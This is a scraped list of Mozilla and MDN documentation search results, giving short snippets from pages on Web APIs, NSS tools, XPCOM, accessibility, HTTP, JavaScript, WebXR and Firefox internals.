Using audio and video in HTML - Web media technologies
the work is not yet scheduled but hopefully will come soon.
Index - Web APIs
WebAPIIndex
5 angle_instanced_arrays.vertexattribdivisorangle() angle_instanced_arrays, api, method, reference, webgl, webgl extension the angle_instanced_arrays.vertexattribdivisorangle() method of the webgl api modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with ext.drawarraysinstancedangle() and ext.drawelementsinstancedangle().
... 7 abortcontroller.abortcontroller() api, abortcontroller, constructor, experimental, fetch, reference the abortcontroller() constructor creates a new abortcontroller object instance.
... 8 abortcontroller.abort() api, abortcontroller, experimental, fetch, method, reference, abort() the abort() method of the abortcontroller interface aborts a dom request (e.g.
...And 2112 more matches
Index
in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape portable runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming.
...(note that it's important to look at the number 11, as there are other pkcs standards with different numbers that define quite different topics.) a software or hardware module conforming to the pkcs#11 standard implements an interface of c calls, which allow querying the characteristics and offered services of the module.
...this strategy allows nss to work with many hardware devices (e.g., to speed up the calculations required for cryptographic operations, or to access smartcards that securely protect a secret key) and software modules (e.g., to allow to load such modules as a plugin that provides additional algorithms or stores key or trust information) that implement the pkcs#11 interface.
...And 467 more matches
Index
MozillaTechXPCOMIndex
if the component uses only "frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
...xpcom is mozilla’s cross platform component object model, similar to microsoft’s com technology.
...And 387 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
found 528 pages: # page tags and summary 1 mdn web docs glossary: definitions of web-related terms beginner, definitions, dictionary, glossary, index, landing, terminology web technologies contain long lists of jargon and abbreviations that are used in documentation and coding.
... 4 alpn alpn, draft, glossary, needscontent, tls application-layer protocol negotiation (alpn) is a tls extension which indicates what application layer protocol is negotiating the encryped connection without requiring additional round trips.
...the api can be seen as a simple contract (the interface) between the application offering it and other items, such as third party software or hardware.
...And 325 more matches
Index - Learn web development
beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web.
... to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start.
... 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a summary of accessibility concerns for multimedia content, along with some practical solutions.
...And 171 more matches
Index
2 creating javascript tests automated testing, build documentation, guide, qa, spidermonkey in which test suite does your new test belong?
...that means the code as it is today won't match this document, and that's ok.
... whenever practical, new code and changes should move code closer to the ideal future.
...And 171 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
practical tips for developers and how mozilla does it contents this document is for developers working to support msaa in an application in order to make it accessible with 3rd party assistive technologies, as well as for hackers wishing to be involved in mozilla's msaa support specifically.
... if you're implementing controls/widgets, you should also see the accessible toolkit checklist.
... msaa is the microsoft active accessibility (msaa) api, used on windows operating systems to support assistive technologies for users with disabilities.
...And 164 more matches
sslfnc.html
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference ssl functions chapter 4 ssl functions this chapter describes the core ssl functions.
... nss_init nss_initreadwrite nss_nodb_init ssl_optionsetdefault ssl_optiongetdefault ssl_cipherprefsetdefault ssl_cipherprefgetdefault ssl_clearsessioncache ssl_configserversessionidcache ssl_configmpserversidcache ssl_inheritmpserversidcache nss_init sets up configuration files and performs other tasks required to run network security services.
...And 159 more matches
IME handling guide
this is a technical term from windows but these days, this is used on other platforms as well.
...ime is used by chinese, japanese, korean and taiwan users for inputting chinese characters because the number of them is beyond thousands and cannot be input from the keyboard directly.
...additionally, ime may be used for handwriting systems or speech input systems on some platforms.
...And 158 more matches
HTTP Index - HTTP
WebHTTPIndex
found 277 pages: # page tags and summary 1 http http, hypertext, reference, tcp/ip, web, web development, l10n:priority hypertext transfer protocol (http) is an application-layer protocol for transmitting hypermedia documents, such as html.
... 2 a typical http session http in client-server protocols, like http, sessions consist of three phases: 3 an overview of http html, http, overview, webmechanics, l10n:priority http isthe foundation of any data exchange on the web and it is a client-server protocol, which means requests are initiated by the recipient, usually the web browser.
... a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more 4 basics of http guide, http, overview http is a pretty extensible protocol.
...And 146 more matches
Key Values - Web APIs
learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character.
... this can happen due to hardware or software constraints, or because of constraints around the platform on which the user agent is running.
... varies varies varies varies modifier keys modifiers are special keys which are used to generate special characters or cause special actions when used in combination with other keys.
...And 142 more matches
Event reference
each event is represented by an object which is based on the event interface, and may have additional custom fields and/or functions used to get additional information about what happened.
... pressed printing events event name fired when beforeprint the print dialog is opened afterprint the print dialog is closed text composition events event name fired when compositionstart the composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).
... compositionupdate a character is added to a passage of text being composed.
...And 132 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
<input type="button" name="button" /> checkbox a check box allowing single values to be selected/deselected.
... <input type="checkbox" name="checkbox"/> color a control for specifying a color; opening a color picker when active in supporting browsers.
... <input type="password" name="password"/> radio a radio button, allowing a single value to be selected out of multiple choices with the same name value.
...And 129 more matches
WebIDL bindings
note that if you're adding new interfaces, then the test at dom/tests/mochitest/general/test_interfaces.html will most likely fail.
...for each interface, a namespace whose name is the name of the interface with binding appended is created, and all the things pertaining to that interface's binding go in that namespace.
... adding webidl bindings to a class to add a webidl binding for interface myinterface to a class mozilla::dom::myinterface that's supposed to implement that interface, you need to do the following: if your interface doesn't inherit from any other interfaces, inherit from nswrappercache and hook up the class to the cycle collector so it will trace the wrapper cache properly.
...And 121 more matches
Bytecode Descriptions
pop two values, check whether they're equal, and push the boolean result.
...val must already be a numeric value, such as the result of jsop::tonumeric.
... implements: the ++ and -- operators, step 3 of each algorithm.
...And 119 more matches
Signaling and video calling - Web APIs
webrtc allows real-time, peer-to-peer, media exchange between two devices.
... webrtc is a fully peer-to-peer technology for the real-time exchange of audio, video, and data, with one central caveat.
...through this third server, the two devices can locate one another, and exchange negotiation messages.
...And 116 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnicalreview, svg, types, data types svg makes use of a number of data types.
...versions of svg viewers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict.
... take some time to understand namespaces now and it will save you all sorts of headaches in the future.
...And 114 more matches
source-editor.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/source-editor.jsm"); warning: much of the functionality of the source editor is implemented by a secondary code module (by default, source-editor-orion.jsm).
... method overview initialization and destruction void destroy(); void init(element aelement, object aconfig, function acallback); search operations number find(string astring, [optional] object options); number findnext(boolean awrap); number findprevious(boolean awrap); event management void addeventlistener(string aeventtype, function acallback); void removeeventlistener(string aeventtype, function acallback); undo stack operations boolean canredo(); boolean canundo(); void endcompoundchange(); boolean redo(); ...
... void resetundo(); void startcompoundchange(); boolean undo(); display management operations void focus(); number gettopindex(); boolean hasfocus(); void settopindex(number atopindex); content management operations number getcharcount(); string getindentationstring(); string getlinedelimiter(); number getlinecount(); number getlineend(number alineindex, boolean aincludedelimiter); number getlinestart(number alineindex); string getmode(); string gettext([optional] number astart, [optional] number aend); string getselectedtext(); void setmode(string amode); void settext(string atext, [optional] number astart, [optional] ...
...And 105 more matches
HTML documentation index - HTML: Hypertext Markup Language
WebHTMLIndex
other technologies besides html are generally used to describe a web page's appearance/presentation (css) or functionality/behavior (javascript).
...this article is a primer introducing each of the ways css color can be used in html.
...the attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard).
...And 103 more matches
Mozilla internal string guide
most of the mozilla code uses a c++ class hierarchy to pass string data, rather than using raw pointers.
... this guide documents the string classes which are visible to code within the mozilla codebase (code which is linked into libxul).
... introduction the string classes are a library of c++ classes which are used to manage buffers of wide (16-bit) and narrow (8-bit) character strings.
...And 101 more matches
Gecko info for Windows accessibility vendors
however, exposing the entire dom to external software packages is quite involved, partially because changes to the dom in firefox must occur on the main thread.
... we have chosen a subset of readonly methods in the dom needed for assistive technology vendors.
... events such as focus changes must be tracked through msaa events, rather than dom events.
...And 100 more matches
Client-side storage - Learn web development
on the user's machine) and then retrieve it when needed.
... this has many distinct uses, such as: personalizing site preferences (e.g.
... showing a user's choice of custom widgets, color scheme, or font size).
...And 99 more matches
JSAPI User Guide
the word javascript may bring to mind features such as event handlers (like onclick), dom objects, window.open, and xmlhttprequest.
...spidermonkey provides a few core javascript data types—numbers, strings, arrays, objects, and so on—and a few methods, such as array.push.
... it also makes it easy for each application to expose some of its own objects and functions to javascript code.
...And 93 more matches
CustomizableUI.jsm
manage the areas in which these widgets are shown.
...this is handled by customizemode.jsm, which interacts with customizableui through a listener mechanism.
... areas areas are parts of the user interface in which customizable widgets can be placed.
...And 91 more matches
Web Replay
save recording and replay on the same machine clicking the 'tools -> web developer -> web replay -> save recording' menu item when a recording tab is open will allow the entire recording to be saved to a file.
... clicking the 'tools -> web developer -> web replay -> load recording in new tab' menu item will start a new tab which replays the recording to the end.
... save recording and replay on a different machine (partially implemented) recordings can be replayed on a different machine from the one which recorded them.
...And 91 more matches
Inputs and input sources - Web APIs
actions include both selection actions, such as clicking on a button, and squeeze actions, such as pulling a trigger or tightening your grip while wearing haptic gloves.
... by combining these two types of input with the changing of viewing position and/or orientation through the headset or other mechanisms, you can create an interactive simulated environment.
... motion-sensing controllers, which use accelerometers, magnetometers, and other sensors for motion tracking and targeting and may additionally include any number of buttons, joysticks, thumbpads, touchpads, force sensors, and so on to provide additional input sources for both targeting and selection.
...And 88 more matches
Drawing graphics - Learn web development
graphics on the web as we talked about in our html multimedia and embedding module, the web was originally just text, which was very boring, so images were introduced — first via the <img> element and later via css properties such as background-image, and svg.
...the web still had no way to effectively create animations, games, 3d scenes, and other requirements commonly handled by lower level languages such as c++ or java.
...this became webgl, which gained traction among browser vendors, and was standardized around 2009–2010.
...And 81 more matches
Using Service Workers - Web APIs
this article provides information on getting started with service workers, including basic architecture, registering a service worker, the install and activation process for a new service worker, updating your service worker, cache control and custom responses, all in the context of a simple app with offline functionality.
...there have been various attempts to create technologies to solve this problem, and some of the issues have been solved.
... but the overriding problem is that there still isn’t a good overall control mechanism for asset caching and custom network requests.
...And 81 more matches
Handling common JavaScript problems - Learn web development
objective: to be able to diagnose common javascript cross-browser problems, and use appropriate tools and techniques to fix them.
... the trouble with javascript historically, javascript was plagued with cross-browser compatibility problems — back in the 1990s, the main browser choices back then (internet explorer and netscape) had scripting implemented in different language flavours (netscape had javascript, ie had jscript and also offered vbscript as an option), and while at least javascript and jscript were compatible to some degree (both based on the ecmascript specification), things were often implemented in conflicting, incompatible ways, causing developers many nightmares.
... such incompatibility problems persisted well into the early 2000s, as old browsers were still being used and still needed supporting.
...And 80 more matches
Pseudo-classes and pseudo-elements - Learn web development
once you know how to use them, you can look at the list to see if there is something which works for the task you are trying to achieve.
... once again the relevant mdn page for each selector is helpful in explaining browser support.
...instead of adding the class, we could use the :first-child pseudo-class selector — this will always target the first child element in the article, and we will no longer need to edit the html (this may not always be possible anyway, maybe due to it being generated by a cms.) all pseudo-classes behave in this same kind of way.
...And 79 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
there's no magic object provided by either the webgl or the webxr api that represents the viewer that you can simply rotate and move around to automatically change what's seen on the screen.
...these techniques can be used in any webgl (or webxr) project.
... there are a few articles about the fundamental math, geometry, and other concepts behind webgl and webxr which may be useful to read before or while reading this one, including: explaining basic 3d theory matrix math for the web webgl model view projection geometry and reference spaces in webxr ed.
...And 79 more matches
Client-side form validation - Learn web development
this is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls.
... objective: to understand what client-side form validation is, why it's important, and how to apply various techniques to implement it.
... client-side validation is an initial check and an important feature of good user experience; by catching invalid data on the client-side, the user can fix it straight away.
...And 78 more matches
Application Translation with Mercurial
check what is available for translation find out on which branch localization is done for your locale: read your localization team's page by clicking on the team with your language code (e.g.
...the localization lead for your language knows the branch.
... the default localization branch is aurora.
...And 78 more matches
Performance best practices for Firefox front-end engineers
this guide will help firefox developers working on front-end code produce code which is as performant as possible—not just on its own, but in terms of its impact on other parts of firefox.
... always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements.
...if you need more elevated privileges than a standard worker allows, consider using a chromeworker, which is a firefox-only api which lets you create workers with more elevated privileges.
...And 77 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
children experiment with color before they even have the manual dexterity to draw.
...this article is a primer introducing each of the ways css color can be used in html.
... we're going to touch on most of what you'll need to know when using color, including a list of what you can color and what css properties are involved, how you describe colors, and how to actually use colors both in stylesheets and in scripts.
...And 77 more matches
IPDL Tutorial
all ipdl messages are sent between parent and a child end points, called actors.
... an ipdl protocol declares how actors communicate: it declares the possible messages that may be sent between actors, as well as a state machine describing when messages are allowed to be sent.
... the parent actor is typically the more permanent side of the conversation: parent/child actors parent child ipc tabs chrome process content process ipc plugins content process plugin process each protocol is declared in a separate file.
...And 76 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
javascript is now used by an incredible number of high-profile applications, showing that deeper knowledge of this technology is an important skill for any web or mobile developer.
...javascript was created in 1995 by brendan eich while he was an engineer at netscape.
...several months after that, netscape submitted javascript to ecma international, a european standards organization, which resulted in the first edition of the ecmascript standard that year.
...And 75 more matches
Hacking Tips
some variants of this function such as js::dumpscript etc are convenient for debugging.
... this unwinder is able to read the frames created by the jit, and to display the frames which are after these jit frames.
...b) record full (gdb) si (gdb) record goto 0 (gdb) record stop if you have a core file, you can use the gdb unwinder the same way, or do everything from the command line as follow: $ gdb -ex 'enable unwinder .* spidermonkey' -ex 'bt 0' -ex 'thread apply all backtrace' -ex 'quit' out/dist/bin/js corefile the gdb unwinder is supposed to be loaded by dist/bin/js-gdb.py and load python scripts which are located in js/src/gdb/mozilla under gdb.
...And 72 more matches
Mozilla
a bird's-eye view of the mozilla framework the purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application framework.
... accessibility and mozilla accessibility is the idea that software (among other things) should be designed to be usable and, as much as possible, convenient to use for people with disabilities.
... mozilla strives to make its software accessible; the documents below cover the ways in which we do so.
...And 72 more matches
RTCPeerConnection - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtcpeerconnection" target="_top"><rect x="151" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" fo...
...nt-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.propertiesalso inherits properties from: eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates.connectionstate the read-only connectionstate property of the rtcpeerconnection interface indicates the current state of the peer connection by returning one of...
...also included is a list of any ice candidates that may already have been generated by the ice agent since the offer or answer represented by the description was first instantiated.getdefaulticeservers() the getdefaulticeservers() method of the rtcpeerconnection interface returns an array of objects based on the rtciceserver dictionary, which indicates what, if any, ice servers the browser will use by default if none are provided to the rtcpeerconnection in its rtcconfiguration.
...And 72 more matches
Extending a Protocol
quick start: extending a protocol this tutorial implements a simple ping-pong style ipdl protocol, which sends a message from the content process (main thread) to the chrome process (ui thread).
... tl:dr: you can see the final implementation of pecho.ipdl as a diff in phabricator.
... to make this tutorial less abstract (more fun!), we are going to implement a js method called echo() on the navigator interface.
...And 71 more matches
nsIDocShell
inherits from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1.
...nstorage(in nsiprincipal principal, in nsidomstorage storage); void addstate(in nsivariant adata, in domstring atitle, in domstring aurl, in boolean areplace); void beginrestore(in nsicontentviewer viewer, in boolean top); void createaboutblankcontentviewer(in nsiprincipal aprincipal); void createloadinfo(out nsidocshellloadinfo loadinfo); void detacheditorfromwindow(); violates the xpcom interface guidelines void finishrestore(); void firepagehidenotification(in boolean isunload); native code only!
... boolean isbeingdestroyed(); void loadstream(in nsiinputstream astream, in nsiuri auri, in acstring acontenttype, in acstring acontentcharset, in nsidocshellloadinfo aloadinfo); native code only!
...And 71 more matches
nsIIOService
inherits from: nsisupports last changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the scheme in order to delegate creation of the new uri to the appropriate protocol handler).
... implemented by @mozilla.org/network/io-service;1 as a service: var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); method overview boolean allowport(in long aport, in string ascheme); acstring extractscheme(in autf8string urlstring); unsigned long getprotocolflags(in string ascheme); nsiprotocolhandler getprotocolhandler(in string ascheme); nsichannel newchannel(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); obsolete since gecko 48 nsichannel newchannel2(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprincipal aload...
...ingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsichannel newchannelfromuri(in nsiuri auri); obsolete since gecko 48 nsichannel newchannelfromuri2(in nsiuri auri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in unsigned long asecurityflags, in unsigned long acontentpolicytype); nsichannel newchannelfromuriwithloadinfo(in nsiuri auri, in nsiloadinfo aloadinfo); nsichannel newchannelfromuriwithproxyflags2(in nsiuri auri, in nsiuri aproxyuri, in uint32_t aproxyflags,in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsi...
...And 71 more matches
Rendering and the WebXR frame animation callback - Web APIs
this article covers the process of driving the frames of the xr scene to the device in the rendering loop, using the xrsession to obtain an xrframe object representing each frame, which is then used to prepare the framebuffer for delivery to the xr device.
...this begins with getting the reference space in which you want to draw, with its origin and orientation set at the viewer's starting position and viewing direction.
... then the first animation frame is scheduled by calling the xrsession method requestanimationframe(), providing a callback function, mydrawframe(), whose job is to render the frame.
...And 71 more matches
Making decisions in your code — conditionals - Learn web development
human beings (and other animals) make decisions all the time that affect their lives, from small ("should i eat one cookie or two?") to large ("should i stay in my home country and work on my father's farm, or should i move to america and study astrophysics?") conditional statements allow us to represent such decision making in javascript, from the choice that must be made (for example, "one cookie or two"), to the resulting outcome of those choices (perhaps the outcome of "ate one cookie" might be "still felt hungry", and the outcome of "ate two cookies" might be "felt full, but mom scolded me for eating all the cookies".) if...else statements let's look at by far the most common type of conditio...
... a set of curly braces, inside which we have some code — this can be any code we like, and it only runs if the condition returns true.
... another set of curly braces, inside which we have some more code — this can be any code we like, and it only runs if the condition is not true — or in other words, the condition is false.
...And 70 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
objective: learn some advanced svelte techniques involving solving reactivity issues, keyboard accessibility problems to do with component lifecycle, and more.
...to do so, we'll utilize some techniques for accessing dom nodes and executing methods like focus() and select().
...we will also learn about the action directive, which will allow us to extend the functionality of html elements in a reusable and declarative way.
...And 70 more matches
Regular expressions - JavaScript
« previousnext » regular expressions are patterns used to match character combinations in strings.
...these patterns are used with the exec() and test() methods of regexp, and with the match(), matchall(), replace(), replaceall(), search(), and split() methods of string.
... this chapter describes javascript regular expressions.
...And 70 more matches
NSS tools : modutil
MozillaProjectsNSStoolsmodutil
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...each option may take arguments, anywhere from none to multiple arguments.
...use this option with the -libfile, -ciphers, and -mechanisms arguments.
...And 69 more matches
Using IndexedDB - Web APIs
because it lets you create web applications with rich query abilities regardless of network availability, your applications can work both online and offline.
... about this document this tutorial walks you through using the asynchronous api of indexeddb.
...this article documents the types of objects used by indexeddb, as well as the methods of the asynchronous api (the synchronous api was removed from spec).
...And 69 more matches
Accessibility documentation index - Accessibility
found 105 pages: # page tags and summary 1 accessibility accessibility, landing accessibility (often abbreviated to a11y—as in "a" then 11 characters then "y") in web development means enabling as many people as possible to use web sites, even when those people's abilities are limited in some way.
... 2 aria aria, accessibility, html accessible rich internet applications (aria) is a set of attributes that define ways to make web content and web applications (especially those developed with javascript) more accessible to people with disabilities.
... it supplements html so that interactions and widgets commonly used in applications can be passed to assistive technologies 3 aria screen reader implementors guide aria, accessibility this is just a guide.
...And 69 more matches
Details of the object model - JavaScript
because of this different basis, it can be less apparent how javascript allows you to create hierarchies of objects and to have inheritance of properties and their values.
... this chapter attempts to clarify the situation.
... this chapter assumes that you are already somewhat familiar with javascript and that you have used javascript functions to create simple objects.
...And 69 more matches
NSS tools : modutil
modutil can add and delete pkcs #11 modules, change passwords on security databases, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations.
...each option may take arguments, anywhere from none to multiple arguments.
...use this option with the -libfile, -ciphers, and -mechanisms arguments.
...And 68 more matches
How to build custom form controls - Learn web development
for example, if you need to perform advanced styling on some controls such as the <select> element or if you want to provide custom behaviors, you may consider building your own controls.
...to do this, it's good to start with an existing control whose states and behavior are well known, so that you can simply mimic those as much as possible.
...here is the result we want to achieve: this screenshot shows the three main states of our control: the normal state (on the left); the active state (in the middle) and the open state (on the right).
...And 67 more matches
Python binding for NSS
design goals nss and nspr are c language api's which python-nss "wraps" and exposes to python programs.
...thus when deciding if the nss/nspr api should be rigidly followed or a more pythonic api provided the pythonic implementation wins because python programmers do not want to write c programs in python, rather they want their python code to feel like python code with the richness of full python.
... constants are all upper case with words seperated by underscores, they match the nss/nspr c api.
...And 67 more matches
Starting WebLock
« previousnext » in this chapter, we begin to design and implement the web locking functionality itself.
...this chapter will focus on the functionality that actually handles the web locking.
... in order to be started up or notified when some event happens, the sample component has to hook into mozilla, which it can do either by overriding an existing component or by registering for some event that will cause it to start up.
...And 67 more matches
IAccessibleText
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this enum defines values which specify a text() boundary type.
...method overview hresult addselection([in] long startoffset, [in] long endoffset ); [propget] hresult attributes([in] long offset, [out] long startoffset, [out] long endoffset, [out] bstr textattributes ); [propget] hresult caretoffset([out] long offset ); [propget] hresult characterextents([in] long offset, [in] enum ia2coordinatetype coordtype, [out] long x, [out] long y, [out] long width, [out] long height ); [propget] hresult ncharacters([out] long ncharacters ); [propget] hresult newtext([out] ia2textsegment newtext ); [propget] hresult nselections([out] long nselections ); [propget] hresult offsetatpoint([in] long x, [in] long y, [in] enum ia2coordinatety...
...endoffset offset of first character after new selection() (0 based).
...And 67 more matches
Document - Web APIs
WebAPIDocument
the document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the dom tree.
... the dom tree includes elements such as <body> and <table>, among many others.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...And 67 more matches
Window - Web APIs
WebAPIWindow
a global variable, window, representing the window in which the script is running, is exposed to javascript code.
... the window interface is home to a variety of functions, namespaces, objects, and constructors which are not necessarily directly associated with the concept of a user interface window.
... in a tabbed browser, each tab is represented by its own window object; the global window seen by javascript code running within a given tab always represents the tab in which the code is running.
...And 67 more matches
Handling common HTML and CSS problems - Learn web development
objective: to be able to diagnose common html and css cross browser problems, and use appropriate tools and techniques to fix them.
...in the worst cases, javascript is used to generate the entire web page content and style, which makes your pages inaccessible, and less performant (generating dom elements is expensive).
... in other cases, nascent features are not supported consistently across browsers, which can make some features and styles not work for some users.
...And 66 more matches
Strategies for carrying out testing - Learn web development
previous overview: cross browser testing next this article starts the module off by providing an overview of the topic of (cross) browser testing, answering questions such as "what is cross-browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying, and fixing problems?" prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing.
... instead, you should try to make sure your site works on the most important target browsers and devices, and then code defensively to give your site the widest support reach it can be expected to have.
... the aim is to build up a chart of browsers/devices you can refer to as you test.
...And 66 more matches
NSS API Guidelines
nss api guidelines newsgroup: mozilla.dev.tech.crypto introduction this document describes how the nss code is organized, the libraries that get built from the nss sources, and guidelines for writing nss code.
...these rules are here to help us all immediately achieve more consistent and usable code, but some existing code won't follow all these rules.
...the libraries section descibes the nss libraries, the functionality each provides, and the layer in which the library (mostly) operates.
...And 66 more matches
nsIDOMWindowUtils
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 49.0 (firefox 49.0 / thunderbird 49.0 / seamonkey 2.46) implemented by: window.
...nvas1, in nsidomhtmlcanvaselement acanvas2, out unsigned long amaxdifference); double computeanimationdistance(in nsidomelement element, in astring property, in astring value1, in astring value2); nsicompositionstringsynthesizer createcompositionstringsynthesizer(); obsolete since gecko 38.0 void disablenontestmouseevents(in boolean adisable); boolean dispatchdomeventviapresshell(in nsidomnode atarget, in nsidomevent aevent, in boolean atrusted); nsidomelement elementfrompoint(in float ax, in float ay, in boolean aignorerootscrollframe, in boolean aflushlayout); void entermodalstate(); nsidomelement findelementwithviewid(in nsviewid aid); void focus(in nsidomelement aelement); void forceupdatenativemenu...
...compositionevent(in astring atype); obsolete since gecko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in boolean apreventdefault); obsolete since gecko 15.0 boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in long amodifiers, [optional] in unsigned long aadditionalflags); deprecated since gecko 38.0 void sendmouseevent(in astring atype, in float ax, in float ay, in long abutton, in long aclickcount, in long amodi...
...And 66 more matches
Animated PNG graphics
MozillaTechAPNG
apng is backwards-compatible with png; any png decoder should be able to ignore the apng-specific chunks and display a single image.
... terminology the default image is the image described by the standard 'idat' chunks, and is the image that is displayed by decoders that do not support apng.
... the canvas is the area on the output device on which the frames are to be displayed.
...And 65 more matches
nsIFile
inherits from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) nsifile is the correct platform-agnostic way to specify a file; you should always use this instead of a string to ensure compatibility.
...the preferred form operates on utf-16 encoded characters strings.
... an alternate form operates on characters strings encoded in the "native" charset.
...And 65 more matches
Command line crash course - Learn web development
this article provides an introduction to the terminal, the essential commands you'll need to enter into it, how to chain commands together, and how to add your own command line interface (cli) tools.
...if you're running any tooling for web development there's a near-guaranteed chance that you'll have to pop open the command line and run some commands to use your chosen tools (you'll often see such tools referred to as cli tools — command line interface tools).
...we’ll see how to install some tools later on in this chapter, and we’ll learn more about package registries in the next chapter.
...And 64 more matches
nsIPromptService
embedding/components/windowwatcher/public/nsipromptservice.idlscriptable this interface can be used to display simple dialogs.
... inherits from: nsisupports last changed in gecko 1.7.5 you can define access keys (or keyboard shortcuts) for buttons by including an ampersand ("&") in front of the character that should be the access key for that button.
...you need to wrap them in a temporary object, which can be either empty or have a value property set to the out parameter type.
...And 64 more matches
Browser detection using the user agent - HTTP
the web is meant to be accessible to everyone, regardless of which browser or device they're using.
... considerations before using browser detection when considering using the user agent string to detect which browser is being used, your first step is to try to avoid it if possible.
...if the problem seems uncommon, it's worth checking if this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera).
...And 64 more matches
Localizing with Koala
introduction this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
...we will translate a small piece of the ui found in the search bar.
... the search bar is next to the right of the location bar, and by default points to the google search.
...And 63 more matches
Basic concepts behind Web Audio API - Web APIs
